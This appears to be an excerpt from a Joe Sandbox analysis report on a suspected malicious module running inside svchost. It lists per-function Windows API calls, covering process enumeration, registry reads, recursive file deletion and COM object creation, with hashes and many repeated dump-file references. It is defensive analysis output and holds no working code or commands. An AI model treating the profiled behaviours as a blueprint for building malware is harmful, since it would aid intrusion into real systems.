Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateInfoObjectProcessSingleStartupWait
String ID: D
API String ID: 2246201701-2746444292
Opcode ID: 074d0d96e62436611519ee918e51d43208ca84e88ba08e9916c61fcfe3342d51
Instruction ID: 2bad2d638bee15dceb1512360cff11142e49035f1a1777b490ac6b4355aacd3d
Opcode Fuzzy Hash: 074d0d96e62436611519ee918e51d43208ca84e88ba08e9916c61fcfe3342d51
Instruction Fuzzy Hash: FC211A71108340EAD221DB19CC84A5FBBF9EFC5746F24891EF6918B260D7B6C885CB53

Function 100096BF Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 152
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 10009802
SetWaitableTimer.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000), ref: 10009848
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,FFFFFFFF,000000FF), ref: 10009889
CloseHandle.KERNEL32(00000000), ref: 100098D6

Strings

`, xrefs: 1000978C

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: TimerWaitable$CloseCreateHandleMultipleObjectsWait
String ID: `
API String ID: 1829838203-1850852036
Opcode ID: 38d7b3607e855258cdd2c10914d248178d8974e8e98ab8f58f06d3f5299df751
Instruction ID: 832a0585b8af1e89f251c823a90b433635b4fe8f6c97851078cd92be1b63ffe5
Opcode Fuzzy Hash: 38d7b3607e855258cdd2c10914d248178d8974e8e98ab8f58f06d3f5299df751
Instruction Fuzzy Hash: D35170B5D04309EBFB10CF90D94679E7BB0FB05790F118065F9146A2C4DBB58A64CF92

Function 1000B085 Relevance: 7.9, APIs: 5, Instructions: 429
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 1000B0F0
Process32First.KERNEL32(000000FF,00000000), ref: 1000B1CD
CloseHandle.KERNEL32(?), ref: 1000B349
Process32Next.KERNEL32(?,00000000), ref: 1000B40A
FindCloseChangeNotification.KERNELBASE(000000FF,?,?,?,?,?,?,?,10005135), ref: 1000B4F4

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CloseProcess32$ChangeCreateFindFirstHandleNextNotificationSnapshotToolhelp32
String ID:
API String ID: 1974561565-0
Opcode ID: 53d84b545bdff5ef69b47454171762774775dbf57d46bf90c5ed0765c88fc891
Instruction ID: 1fb278c27e891b8312d356603d1ea0a3859e439dbc91cc01cef7c5d4a3478082
Opcode Fuzzy Hash: 53d84b545bdff5ef69b47454171762774775dbf57d46bf90c5ed0765c88fc891
Instruction Fuzzy Hash: 27E138B1A412429BFB00CFA8DCC1B99B7A1EF59364F290470E906AF341D779F960DB61

Function 10014B90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(10015276,?,10033373,1000A737,00000001,?,00000000,80000301), ref: 10014B99
RtlAllocateHeap.NTDLL(029B0000,00000008,?,?,10015276,?,10033373,1000A737,00000001,?,00000000,80000301), ref: 10014BAD
MessageBoxA.USER32(00000000,1179A024,error,00000010), ref: 10014BC6

Strings

error, xrefs: 10014BBB

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: 12cfcb64594c34450b8c7866240d9fbc399795cc691a6e637df71dcf7957e7c7
Instruction ID: adb28a4cf7871a8b32f91005e3f9b78f2a8568f27d3edda6bd012b9ce8535894
Opcode Fuzzy Hash: 12cfcb64594c34450b8c7866240d9fbc399795cc691a6e637df71dcf7957e7c7
Instruction Fuzzy Hash: 74E0D871A442317BE710E775EC98F8A76A4EB08678F124416F901D7310FB34DC458751

Function 10014F60 Relevance: 4.6, APIs: 3, Instructions: 92
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(00000000,00000000,?), ref: 10014FDC
RegQueryValueExA.KERNELBASE(?,00000000,00000000,?,?,?,?,?,0000069C,10033373,?,00000000,80000004,00000000,00000000,00000000), ref: 1001500A
RegCloseKey.ADVAPI32(?,?,?,0000069C,10033373,?,00000000,80000004,00000000,00000000,00000000), ref: 10015027

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: d509c2715db95b7ca8df5be3986977e70a667214eeaef44a19a197654635f960
Instruction ID: fb4dc082c1ea7bb868b2190ac7791f2ff9df4e710e8b4eb38ead6afe761aec9e
Opcode Fuzzy Hash: d509c2715db95b7ca8df5be3986977e70a667214eeaef44a19a197654635f960
Instruction Fuzzy Hash: 2C21D2B16043129FD200DE649884B2BBBECFBC8795F04091DF986CB251E635DD4687E2

Function 10014CA0 Relevance: 3.0, APIs: 2, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32(?,00000008,00000000,100175E2,00000000,00000000), ref: 10014CCE
RtlFreeHeap.NTDLL(029B0000,00000000,?), ref: 10014CE0

Part of subcall function 10014A80: GetModuleHandleA.KERNEL32(10000000,10014CBB,00000000,100175E2,00000000,00000000), ref: 10014A8A

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: FreeHandleHeapModuleRead
String ID:
API String ID: 627478288-0
Opcode ID: bba3dcbf56d5fed1db1092f129da3755ca4fe7b840a56ff1f82c2d9e75aa25c9
Instruction ID: 800235c961b0bd072c4866dbecf3a71f8e1a826a99828f168d5c156754b21924
Opcode Fuzzy Hash: bba3dcbf56d5fed1db1092f129da3755ca4fe7b840a56ff1f82c2d9e75aa25c9
Instruction Fuzzy Hash: E2E06D70B06132ABE6A0EA28D98568A36E8EF047A87030017F54CAB220DB30DCC58BD5

Function 10001252 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetServiceStatus.SECHOST ref: 10001287

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: ServiceStatus
String ID:
API String ID: 3969395364-0
Opcode ID: d7d0e8b176d68cb288aca60d1ed5dd345dd864a7d845ca8c5af41e6471d334d3
Instruction ID: ad10c00d6ec2c8a2d027ecfbb5c2ac409f2620c4c9f422feb7ee065e69608f93
Opcode Fuzzy Hash: d7d0e8b176d68cb288aca60d1ed5dd345dd864a7d845ca8c5af41e6471d334d3
Instruction Fuzzy Hash: 2DF03A70D00308EBEB00DFA0D8C6B8CBBB0EB09369F504465E9086B340E2325AA4DB85

Function 10015060 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.KERNELBASE(00000000,10001633,00000001,00000000,00000000,80000004), ref: 10015065

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 10d7982c1f71974efea553216cb2c6df942ebc56e6a13fb9dce0647f36b944bb
Instruction ID: 2ac1b957db262f736432eb34b08186eb12bcccb8144d0bbb184df82846eafc4a
Opcode Fuzzy Hash: 10d7982c1f71974efea553216cb2c6df942ebc56e6a13fb9dce0647f36b944bb
Instruction Fuzzy Hash: DFA00275904211ABDE00EBA4D98C85A7BE8AB88345B548845F146C2120C734E941CB12

Non-executed Functions

Function 10015F20 Relevance: 13.7, APIs: 9, Instructions: 186comregistryCOMMON

Download Yara Rule

APIs

LoadTypeLib.OLEAUT32(00000000,?), ref: 10015F88
GetUserDefaultLCID.KERNEL32(00000000), ref: 10015F97
LHashValOfNameSys.OLEAUT32(00000001,00000000), ref: 10015FA0
RegisterTypeLib.OLEAUT32(?,00000000,00000000), ref: 10016006
CLSIDFromProgID.OLE32(00000000,?), ref: 10016047
CLSIDFromString.OLE32(00000000,?), ref: 1001605A
CoCreateInstance.OLE32(?,00000000,00000017,1002F3C0,?), ref: 10016095
CoCreateInstance.OLE32(?,00000000,00000007,1002F3C0,?), ref: 100160B3
OleRun.OLE32(?), ref: 100160C0

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceType$DefaultHashLoadNameProgRegisterStringUser
String ID:
API String ID: 458303785-0
Opcode ID: cd28492c6951abb78975f8837c2496ca56b30d324a677257276bb56c40135445
Instruction ID: 4e88e060c24af5bcdc172dbda5803983d74376576c879a5deb8b70f6f47398f9
Opcode Fuzzy Hash: cd28492c6951abb78975f8837c2496ca56b30d324a677257276bb56c40135445
Instruction Fuzzy Hash: DD51BFB1604315AFD300EF64DC8495BB7E8EF8C655F50492DF949CB200E736ED898BA2

Function 10016AC0 Relevance: 7.7, APIs: 5, Instructions: 213fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 10016B99
DeleteFileA.KERNEL32(?), ref: 10016CBE
FindNextFileA.KERNEL32(00000000,?), ref: 10016CD3
FindClose.KERNEL32(00000000), ref: 10016CE2

Part of subcall function 10016AC0: RemoveDirectoryA.KERNEL32(?), ref: 10016CB5

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
